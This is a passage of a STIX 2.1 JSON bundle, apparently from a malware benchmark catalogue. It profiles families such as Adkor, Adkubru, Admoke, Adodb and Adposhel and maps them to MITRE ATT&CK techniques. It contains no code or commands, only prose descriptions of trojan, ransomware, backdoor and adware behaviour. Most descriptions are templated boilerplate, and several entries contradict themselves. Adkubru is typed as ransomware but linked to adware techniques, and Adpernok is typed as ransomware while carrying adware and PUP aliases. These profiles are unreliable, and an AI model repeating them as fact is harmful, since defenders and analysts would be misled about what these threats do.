      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adkdllwrapper exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b6f6a54-f70e-5041-af0d-5f3f526a5313",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc59fd8c-a74c-5e9a-83e9-46b9df976dfb",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adkdllwrapper exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f639481-6893-58a3-9a4a-0625b75af357",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc59fd8c-a74c-5e9a-83e9-46b9df976dfb",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adkdllwrapper exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9d9b7e90-9133-5eae-9030-42df55d2ba6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Adkor",
      "description": "Adkor (classified in antivirus detection telemetry under designations including Trojan:Win32/Adkor, Trojan.Win32.Adkor, and Win32/Adkor) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Adkor executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Adkor",
        "Trojan.Win32.Adkor",
        "Win32/Adkor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Adkor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/adkor"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--45ba4af7-7265-5060-96c0-3a7f44cc1a8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d9b7e90-9133-5eae-9030-42df55d2ba6e",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adkor exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2988b6a3-0170-507b-ac34-347a7f7f5775",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d9b7e90-9133-5eae-9030-42df55d2ba6e",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adkor exhibits technique T1176 (Browser Extensions (BHO installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3013fe59-dd82-5d6c-bc9d-1db7131cc484",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d9b7e90-9133-5eae-9030-42df55d2ba6e",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adkor exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4577766d-92c2-575a-b15b-35788bc792f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d9b7e90-9133-5eae-9030-42df55d2ba6e",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adkor exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--60f65cfc-e324-5ec0-9219-a91c8141b6b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Adkubru",
      "description": "Adkubru (classified in antivirus detection telemetry under designations including Ransom:Win32/Adkubru, Ransom.Win32.Adkubru, and Win32/Adkubru) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Adkubru executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Adkubru",
        "Ransom.Win32.Adkubru",
        "Win32/Adkubru"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Adkubru",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/adkubru"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6086d8c-a0c7-5eb6-a450-f8d49ef78f0f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60f65cfc-e324-5ec0-9219-a91c8141b6b8",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adkubru exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73ff6190-6e02-5c61-8976-8d488076df80",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60f65cfc-e324-5ec0-9219-a91c8141b6b8",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adkubru exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser policies to prevent adware removal))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b8f68e30-2148-557b-98b3-d0797a88cbd0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60f65cfc-e324-5ec0-9219-a91c8141b6b8",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adkubru exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing persistent adware updaters))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5965462d-02b1-5131-9690-a6eb0f13fa49",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Admedia",
      "description": "Admedia (classified in antivirus detection telemetry under designations including Trojan:Win32/Admedia, Trojan.Win32.Admedia, and Win32/Admedia) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Admedia executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Admedia",
        "Trojan.Win32.Admedia",
        "Win32/Admedia"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Admedia",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/admedia"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2565f3ae-38c9-5e3f-bc03-10054dc067b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5965462d-02b1-5131-9690-a6eb0f13fa49",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Admedia exhibits technique T1189 (Drive-by Compromise (Frequently associated with malvertising networks pushed by the adware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e82c04b3-c1dd-52d6-9407-1dfb761e988a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5965462d-02b1-5131-9690-a6eb0f13fa49",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Admedia exhibits technique T1176 (Browser Extensions (Installing malicious add-ons to control web traffic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be69d30a-c03b-576d-8d3c-35fe94d46577",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5965462d-02b1-5131-9690-a6eb0f13fa49",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Admedia exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Ensuring the adware launcher runs on boot))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1fe24ddd-702b-5ae2-82ee-fcb66e44561d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Admoke",
      "description": "Admoke (classified in antivirus detection telemetry under designations including Ransom:Win32/Admoke, Ransom.Win32.Admoke, and Win32/Admoke) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Admoke executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Admoke",
        "Ransom.Win32.Admoke",
        "Win32/Admoke"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Admoke",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/admoke"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d8b6b46-57f5-5a29-a45e-17fd82e08b7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1fe24ddd-702b-5ae2-82ee-fcb66e44561d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Admoke exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b7d0193-2aef-5ad2-abef-424bbd135028",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1fe24ddd-702b-5ae2-82ee-fcb66e44561d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Admoke exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d5f93a8f-6a3c-5c6d-85c4-e6bcdc7ce2fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1fe24ddd-702b-5ae2-82ee-fcb66e44561d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Admoke exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--574cb8c7-827e-5a0c-ae55-2692e49600ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1fe24ddd-702b-5ae2-82ee-fcb66e44561d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Admoke exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c26a8fe-c86a-5cd0-b7bc-2caf6df41fdb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1fe24ddd-702b-5ae2-82ee-fcb66e44561d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Admoke exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9925add3-0a8c-57ff-90c4-bb144980138a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Adodb",
      "description": "Adodb (classified in antivirus detection telemetry under designations including Backdoor:Win32/Adodb, Backdoor.Win32.Adodb, and Win32/Adodb) is a interactive remote access trojan and backdoor providing remote threat actors with unauthorized terminal control, file manipulation, and surveillance. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Adodb executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include reverse shell connections, process hollowing, privilege escalation, and lateral movement reconnaissance. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Adodb",
        "Backdoor.Win32.Adodb",
        "Win32/Adodb"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Adodb",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/adodb"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--6edf2a5f-9dca-50d0-8c72-059ff58bba2a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1505.003: Server Software Component: Web Shell (The core backdoor mechanism)",
      "description": "MITRE ATT&CK Technique T1505.003 (Server Software Component: Web Shell (The core backdoor mechanism)) under tactic Persistence.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1505.003",
          "url": "https://attack.mitre.org/techniques/T1505/003/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad177c6c-c84c-5d0c-b0ca-73adf98980fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9925add3-0a8c-57ff-90c4-bb144980138a",
      "target_ref": "attack-pattern--6edf2a5f-9dca-50d0-8c72-059ff58bba2a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adodb exhibits technique T1505.003 (Server Software Component: Web Shell (The core backdoor mechanism))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--be10f842-949a-5910-87e6-3068819d42e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1190: Exploit Public-Facing Application (The typical initial infection vector)",
      "description": "MITRE ATT&CK Technique T1190 (Exploit Public-Facing Application (The typical initial infection vector)) under tactic Initial Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1190",
          "url": "https://attack.mitre.org/techniques/T1190/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--93881fba-745b-55c1-81e4-e37c4eb478a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9925add3-0a8c-57ff-90c4-bb144980138a",
      "target_ref": "attack-pattern--be10f842-949a-5910-87e6-3068819d42e6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adodb exhibits technique T1190 (Exploit Public-Facing Application (The typical initial infection vector))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1059.005: Command and Scripting Interpreter: Visual Basic (VBScript within the ASP file)",
      "description": "MITRE ATT&CK Technique T1059.005 (Command and Scripting Interpreter: Visual Basic (VBScript within the ASP file)) under tactic Execution.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1059.005",
          "url": "https://attack.mitre.org/techniques/T1059/005/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7cd5070-50cb-50e5-a7a6-6c6373f8ac94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9925add3-0a8c-57ff-90c4-bb144980138a",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adodb exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic (VBScript within the ASP file))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b01c9f7f-80e4-5cee-b214-e3512f77d6d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Adpernok",
      "description": "Adpernok (classified in antivirus detection telemetry under designations including Ransom:Win32/Adpernok, Ransom.Win32.Adpernok, and Win32/Adpernok) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Adpernok executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Adpernok",
        "PUP.Adpernok",
        "BrowserHijacker.Adpernok",
        "Ransom:Win32/Adpernok",
        "Ransom.Win32.Adpernok",
        "Win32/Adpernok"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Adpernok",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/adpernok"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22dec802-95ea-5ae5-9835-ddedaed2cd68",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b01c9f7f-80e4-5cee-b214-e3512f77d6d0",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adpernok exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--034c1d5d-48f8-5e82-888c-d049102caeba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b01c9f7f-80e4-5cee-b214-e3512f77d6d0",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adpernok exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3caec790-7e87-52a7-8c54-1ec609ea0e2e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b01c9f7f-80e4-5cee-b214-e3512f77d6d0",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adpernok exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fcd63975-3bdc-5ec8-b6b4-d6ef919fb1db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Adposhel",
      "description": "Adposhel (tracked across the cybersecurity industry as Adware:Win32/Adposhel, PUA:Win32/Adposhel, and Adware.BrowseFox) is an intrusive ad-injection and browser policy manipulation threat documented by Microsoft Security Intelligence, Malwarebytes, and BleepingComputer. Functioning as a specialized variant of the BrowseFox codebase, Adposhel intercepts web sessions across Chromium-, Gecko-, and Trident-based browsers. Once executed, the malware modifies Windows shortcut files (.lnk) on the desktop and taskbar to append malicious affiliate arguments to browser launch commands. Adposhel injects sponsored advertisements and text-link banners directly into visited web pages, forces enterprise browser management policies to lock search providers, and abuses web push notification privileges to display unsolicited promotional content even when web browsers are closed. (Observed samples in benchmark: 8,951)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Adposhel",
        "Adware.Adposhel",
        "PUA:Win32/Adposhel",
        "BrowseFox Variant",
        "Win32/Adposhel.A",
        "Adposhel Adware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Adposhel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/adposhel"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b5b3034-d17f-5b08-9ac3-11a9f52204fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fcd63975-3bdc-5ec8-b6b4-d6ef919fb1db",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adposhel exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ab731a9-c780-5301-b7ca-6b9407568d9b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fcd63975-3bdc-5ec8-b6b4-d6ef919fb1db",
      "target_ref": "attack-pattern--b772747b-96b9-52d0-8017-d1da4e3cc807",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adposhel exhibits technique T1547.009 (Boot or Logon Autostart Execution: Shortcut Modification (Altering browser shortcuts))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--19b1dbe9-c1fa-533c-afc7-cd5267e52624",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fcd63975-3bdc-5ec8-b6b4-d6ef919fb1db",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adposhel exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1071.001: Application Layer Protocol: Web Protocols (C2 Communication)",
      "description": "MITRE ATT&CK Technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication)) under tactic Command and Control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1071.001",
          "url": "https://attack.mitre.org/techniques/T1071/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ed2808f-d6c3-5368-87cb-1384d46ac6d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fcd63975-3bdc-5ec8-b6b4-d6ef919fb1db",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adposhel exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c98f733f-9ba0-56d7-a3f0-e508ec7a696f",
